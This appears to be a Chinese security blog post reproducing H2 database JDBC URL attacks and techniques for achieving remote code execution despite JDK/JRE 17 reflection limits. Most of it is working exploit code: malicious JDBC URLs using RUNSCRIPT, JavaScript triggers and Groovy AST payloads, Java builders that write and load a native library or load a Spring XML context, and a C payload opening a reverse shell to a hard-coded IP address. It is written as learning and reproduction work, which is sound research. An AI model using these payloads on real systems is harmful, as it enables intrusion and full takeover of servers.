最近看了很多安全文章,发现JDK17下对漏洞姿势的影响还挺大的,通过X1r0z大佬的H2 JDBC Attack学习一下绕过JDK17限制的手法,X1r0z大佬的原文如下:
https://wx.zsxq.com/group/2212251881/topic/8852554542842222
JDK 17下的RCE限制 现在很多主流框架,比如springBoot 3.x用的jdk版本至少是jdk17,在jdk17及之后无法反射调用java.*
包下非public修饰的属性和方法。springboot自带的h2数据库也受到此影响,导致h2 jdbc attack 有任意代码执行时利用受限。
比如,用反射调用java.lang.ClassLoader#defineClass时,JDK9-16只有警告,而JDK 17+会报Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module
的错误
1 2 3 4 5 6 7 8 9 String payload = '恶意的base64' byte [] decode = Base64.getDecoder().decode(payload);Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class);defineClass.setAccessible(true ); Class evil = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "恶意文件名字" , decode, 0 , decode.length);
defineClass受到限制,而TemplatesImpl就是依赖于defineClass的,导致TemplatesImpl直接在JDK 17+被移除
安全好兄弟直接似了
H2 JDBC Attack 我们通过h2database JDBC Attack来看一下,真实环境下的JDK 17+如何达到漏洞利用。为了方便调试还是在IDEA中打,而不是用web Console
随便贴上一个h2database的依赖
1 2 3 4 5 <dependency > <groupId > com.h2database</groupId > <artifactId > h2</artifactId > <scope > runtime</scope > </dependency >
无JDK版本限制通用打jdbc Attack:
1 2 3 4 5 6 7 8 9 10 public class H2database_JDBC_Client { public static void main (String[] args) throws Exception { String ClassName = "org.h2.Driver" ; String JDBC_Url = "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'" ; String username = "root" ; String password = "root" ; Class.forName(ClassName); Connection connection = DriverManager.getConnection(JDBC_Url, username, password); } }
本地http暴露一个poc.sql:
1 2 3 4 5 DROP ALIAS IF EXISTS shell;CREATE ALIAS shell AS $$void shell(String s) throws Exception { java.lang.Runtime.getRuntime().exec (s); }$$; SELECT shell('cmd /c calc' );
因为我们使用的POC需要执行两个SQL语句,第一个是CREATE ALIAS,第二个是EXEC,这是两个步骤。session.prepareCommand
不支持多个 sql 语句执行。 因此,我们使用 RUNSCRIPT 从远程服务器加载 sql。
$$ ... $$
这是 H2 用于定义多行字符串(类似 PostgreSQL)的语法,包裹的内容会被作为函数体进行编译。
能够顺利弹出计算器,因为根本没有反射去利用java.*
包下非public修饰的属性和方法。不过需要出网
JDK11下的h2 对于H2 < 1.4.198,可以直接使用网上公开的JDBC Attack URL
对于H2 < 2.0.206,可以使用JNDI注入
对于H2 < 2.1.210,可以使用下面的POC,见下一节
对于H2 >= 2.1.210,Web console需要找一个已经存在的数据库文件才能利用。 对于非Web console环境,没有版本限制
h2 最新版本 JDK11-16 H2 WebConsole < 2.1.210或者非WebConsole(代码or配置文件环境) 的最新版本(2.3.232),JDK 11-16的情况下,h2database有三种利用方法:
Litch1 翻了 CREATE ALIAS
实现的源代码,发现在 SQL 语句中对于 JAVA 方法的定义被交给了源代码编译器。有三种支持的编译器:Java/Javascript/Groovy
h2数据库最低只支持JDK11,所以再见了JDK8
CREATE TRIGGER + javascript
1 2 3 jdbc:h2:mem:test;MODE= MSSQLServer;FORBID_CREATION= FALSE ;INIT= CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$/ / javascript java.lang.Runtime.getRuntime().exec ("calc.exe") $$;AUTHZPWD= \
在H2内存数据库中创建一个触发器 TRIG_JS,该触发器在向 INFORMATION_SCHEMA.TABLES 表插入数据后执行。触发器的主体是一个JavaScript脚本,而且在编译源代码时,同时还会eval源代码。
上述payload原理来自FORBID_CREATION 绕过(CVE-2022-23221)
CREATE ALIAS + Groovy AST
1 2 3 4 5 jdbc:h2:mem:test;MODE= MSSQLServer;FORBID_CREATION= FALSE ;init= CREATE ALIAS shell2 AS $$@groovy .transform.ASTTest(value = { assert java.lang.Runtime.getRuntime().exec ("cmd.exe /c calc.exe") }) def x$$;AUTHZPWD= \
目标机器有groovy依赖,能打AST注解
如何触发groovy可见:https://su18.org/post/jdbc-connection-url-attack/
简单说来就是通过如下前缀判断是否为groovy代码
到这里我们可以思考一下,前两种利用方式。CREATE TRIGGER + javascript是创建触发器时编译并执行了javascript代码,CREATE ALIAS + Groovy AST的 value={}
中的代码会在编译阶段运行,用于测试 AST 或执行验证。所以实际上都是用一条init完成了执行代码。这两种方式适用于目标不出网的情况下执行命令,不过一般不能回显
CREATE ALIAS + Java
这个就是上面提到的RUNSCRIPT的方式,可以执行多行代码。我们给他加上一个bypass 无数据库场景的payload
1 jdbc:h2:mem:test;MODE= MSSQLServer;FORBID_CREATION= FALSE ;INIT= RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql' ;AUTHZPWD= \
1 2 3 4 5 DROP ALIAS IF EXISTS shell;CREATE ALIAS shell AS $$void shell(String s) throws Exception { java.lang.Runtime.getRuntime().exec (s); }$$; SELECT shell('cmd /c calc' );
JRE 17+ 如果Jre17 +版本下呢?我们再来看上面三种利用方法:
CREATE TRIGGER + javascript:Java 自带的 Nashorn JavaScript 引擎已经在 Java 15 往后被删除
CREATE ALIAS + Groovy AST:大部分环境都不存在groovy依赖
CREATE ALIAS + Java:注意我们主页里指的JRE 17而不是JDK 17,JRE 17没用javac命令,不能通过RUNSCRIPT + CREATE ALIAS 语句动态编译 Java 源代码
不过H2 CREATE ALIAS可以调用位于 classpath 内的某个公共类的公共静态方法
https://h2database.com/html/features.html
由此,X1r0z师傅给出了两种利用方式,而这两种思路在JDK 17+几乎是通用的
写文件+System.load
利用 File.createTempFile 创建临时文件
利用 commons-io 的 FileUtils 分块写文件
利用 commons-beanutils 的 MethodUtils 反射调用实例/静态方法
利用 System.load 加载动态链接库
具体的涉及到的几个问题:为什么要用commons-io写文件而不用java自带的方法,为什么用commons-beanutils反射调用getAbsolutePath,和为什么不反射调用java.lang.Runtime.getRuntime().exec(cmd)的原因请见原文:https://exp10it.io/2024/03/solarwinds-security-event-manager-amf-deserialization-rce-cve-2024-0692/#%E5%8F%97%E9%99%90%E5%88%B6%E7%9A%84-jdbc-h2-rce
这里仅做一个对h2的复现
首先编写exp.c:
1 2 3 4 5 6 7 #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("bash -c 'bash -i >& /dev/tcp/100.109.34.110/4444 0>&1'" ); }
测试记得改成calc,Linux编译为so,windows编译为dll
1 2 3 4 # Linux amd64 gcc -shared -fPIC exp.c -o exp.so # Windows x64 gcc -shared exp.c -o exp.dll
我这里为了通用,改成了java版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package org.h2jdbc;import java.io.File;import java.io.IOException;import java.nio.file.Files;import java.sql.Connection;import java.sql.DriverManager;import java.util.ArrayList;import java.util.List;public class H2database_JDBC_Client { public static void main (String[] args) throws Exception { String ClassName = "org.h2.Driver" ; String JDBC_Url = buildExploitJdbcUrl("test" ,"E:\\CODE_COLLECT\\Idea_java_ProTest\\H2JDBC\\src\\main\\resources\\exp.dll" ); String username = "root" ; String password = "root" ; Class.forName(ClassName); Connection connection = DriverManager.getConnection(JDBC_Url, username, password); } public static String buildExploitJdbcUrl (String prefix, String libPath) throws IOException { List<String> sqlList = new ArrayList <>(); sqlList.add("DROP ALIAS IF EXISTS CREATE_FILE" ); sqlList.add("DROP ALIAS IF EXISTS WRITE_FILE" ); sqlList.add("DROP ALIAS IF EXISTS INVOKE_METHOD" ); sqlList.add("DROP ALIAS IF EXISTS INVOKE_STATIC_METHOD" ); sqlList.add("DROP ALIAS IF EXISTS CLASS_FOR_NAME" ); sqlList.add("CREATE ALIAS CREATE_FILE FOR \"java.io.File.createTempFile(java.lang.String, java.lang.String)\"" ); sqlList.add("CREATE ALIAS WRITE_FILE FOR \"org.apache.commons.io.FileUtils.writeByteArrayToFile(java.io.File, byte[], boolean)\"" ); sqlList.add("CREATE ALIAS INVOKE_METHOD FOR \"org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object[])\"" ); sqlList.add("CREATE ALIAS INVOKE_STATIC_METHOD FOR \"org.apache.commons.beanutils.MethodUtils.invokeExactStaticMethod(java.lang.Class, java.lang.String, java.lang.Object)\"" ); sqlList.add("CREATE ALIAS CLASS_FOR_NAME FOR \"java.lang.Class.forName(java.lang.String)\"" ); sqlList.add(String.format("SET @file=CREATE_FILE('%s', '.dll')" , prefix)); byte [] fileBytes = Files.readAllBytes(new File (libPath).toPath()); String hex = bytesToHex(fileBytes); int chunkSize = 500 ; for (int i = 0 ; i < hex.length(); i += chunkSize) { String chunk = hex.substring(i, Math.min(i + chunkSize, hex.length())); sqlList.add(String.format("CALL WRITE_FILE(@file, X'%s', TRUE)" , chunk)); } sqlList.add("SET @path=INVOKE_METHOD(@file, 'getAbsolutePath', null)" ); sqlList.add("SET @clazz=CLASS_FOR_NAME('java.lang.System')" ); sqlList.add("CALL INVOKE_STATIC_METHOD(@clazz, 'load', @path)" ); StringBuilder init = new StringBuilder (); for (String stmt : sqlList) { init.append(stmt).append("\\;" ); } String jdbcUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=" + init; System.out.println(jdbcUrl); return jdbcUrl; } private static String bytesToHex (byte [] bytes) { StringBuilder sb = new StringBuilder (bytes.length * 2 ); for (byte b : bytes) { sb.append(String.format("%02x" , b)); } return sb.toString(); } }
注意此处payload是代码环境,webConsole环境依旧需要数据库存在,或者用前面的FORBID_CREATION=FALSE;
去绕过webConsole对数据库的检测
ClassPathXmlApplicationContext
利用 commons-beanutils 的 ConstructorUtils 实例化 ClassPathXmlApplicationContext
XML 内调用 ProcessBuilder.start 执行命令
需要找到一个能调用构造函数的静态方法,commons-beansutils真是牛逼啊,提供了反射调用 实例方法、静态方法、构造函数 这三种函数的静态调用,很夸张
1 2 3 4 public static <T> T invokeConstructor (Class<T> klass, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { Object[] args = toArray(arg); return invokeConstructor(klass, args); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package org.h2jdbc;import java.sql.Connection;import java.sql.DriverManager;import java.util.ArrayList;import java.util.List;public class H2database_JDK17_ClassPathXmlApplicationContext { public static void main (String[] args) throws Exception { String ClassName = "org.h2.Driver" ; String JDBC_Url = buildExploitJdbcUrl(); String username = "root" ; String password = "root" ; Class.forName(ClassName); Connection connection = DriverManager.getConnection(JDBC_Url, username, password); } public static String buildExploitJdbcUrl () throws Exception { List<String> sqlList = new ArrayList <>(); String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n" + "<beans xmlns=\"http://www.springframework.org/schema/beans\"\n" + " xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n" + " xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\">\n" + " <bean id=\"pb\" class=\"java.lang.ProcessBuilder\" init-method=\"start\">\n" + " <constructor-arg>\n" + " <list>\n" + " <value>calc</value>\n" + " </list>\n" + " </constructor-arg>\n" + " </bean>\n" + "</beans>" ; byte [] xmlBytes = xml.getBytes("UTF-8" ); WebServer server = WebServer.getInstance(); server.serveFile("/exp.xml" , xmlBytes); String ip = server.ip; int port = server.port; String xmlUrl = "http://" + ip + ":" + port + "/exp.xml" ; sqlList.add("DROP ALIAS IF EXISTS INVOKE_CONSTRUCTOR" ); sqlList.add("DROP ALIAS IF EXISTS INVOKE_METHOD" ); sqlList.add("DROP ALIAS IF EXISTS URI_CREATE" ); sqlList.add("DROP ALIAS IF EXISTS CLASS_FOR_NAME" ); sqlList.add("CREATE ALIAS INVOKE_CONSTRUCTOR FOR 'org.apache.commons.beanutils.ConstructorUtils.invokeConstructor(java.lang.Class, java.lang.Object)'" ); sqlList.add("CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object[])'" ); sqlList.add("CREATE ALIAS URI_CREATE FOR 'java.net.URI.create(java.lang.String)'" ); sqlList.add("CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'" ); sqlList.add("SET @uri=URI_CREATE('" + xmlUrl + "')" ); sqlList.add("SET @xml_url_obj=INVOKE_METHOD(@uri, 'toString', NULL)" ); sqlList.add("SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext')" ); sqlList.add("SELECT INVOKE_CONSTRUCTOR(@context_clazz, @xml_url_obj)" ); String initSql = String.join("\\;" , sqlList) + "\\;" ; String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=" + initSql; return url; } private static String bytesToHex (byte [] bytes) { StringBuilder sb = new StringBuilder (bytes.length * 2 ); for (byte b : bytes) { sb.append(String.format("%02x" , b)); } return sb.toString(); } }
辅助类WebServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package org.h2jdbc;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.net.httpserver.HttpServer;import java.io.OutputStream;import java.net.InetAddress;import java.net.InetSocketAddress;import java.util.HashMap;import java.util.Map;public class WebServer { public final String ip; public final int port; private static WebServer instance; private final HttpServer server; private final Map<String, byte []> fileMap = new HashMap <>(); private WebServer () throws Exception { this .ip = InetAddress.getLocalHost().getHostAddress(); this .port = 8000 + (int )(Math.random() * 1000 ); this .server = HttpServer.create(new InetSocketAddress (port), 0 ); this .server.createContext("/" , new FileHandler ()); this .server.setExecutor(null ); this .server.start(); System.out.println("WebServer started at http://" + ip + ":" + port); } public static synchronized WebServer getInstance () throws Exception { if (instance == null ) { instance = new WebServer (); } return instance; } public void serveFile (String path, byte [] content) { fileMap.put(path, content); System.out.println("Serving " + path); } private class FileHandler implements HttpHandler { @Override public void handle (HttpExchange exchange) { try { String path = exchange.getRequestURI().getPath(); byte [] content = fileMap.getOrDefault(path, "404 Not Found" .getBytes()); exchange.sendResponseHeaders(content == null ? 404 : 200 , content.length); try (OutputStream os = exchange.getResponseBody()) { os.write(content); } } catch (Exception e) { e.printStackTrace(); } } } }
中间有一些小小的调试过程,比如修改invokeMethod的参数为Object[]之类的,我直接贴代码就省略说明了
在Tomcat环境下,可以进一步利用Tomcat临时文件达到不出网ClassPathXmlApplicationContext的利用,具体见:
https://godownio.github.io/2025/04/17/tomcat-xia-classpathxmlapplicationcontext-de-bu-chu-wang-li-yong/
虽然两个都用到了commons-beanutils,spring环境下这个依赖非常常见。不过在非h2环境下,可以直接调用实例方法而非只能调静态方法,就无需commons-beanutils依赖,这两种思路在jre 17下都很奏效
REF :https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html
https://exp10it.io/2024/03/solarwinds-security-event-manager-amf-deserialization-rce-cve-2024-0692/#%E5%8F%97%E9%99%90%E5%88%B6%E7%9A%84-jdbc-h2-rce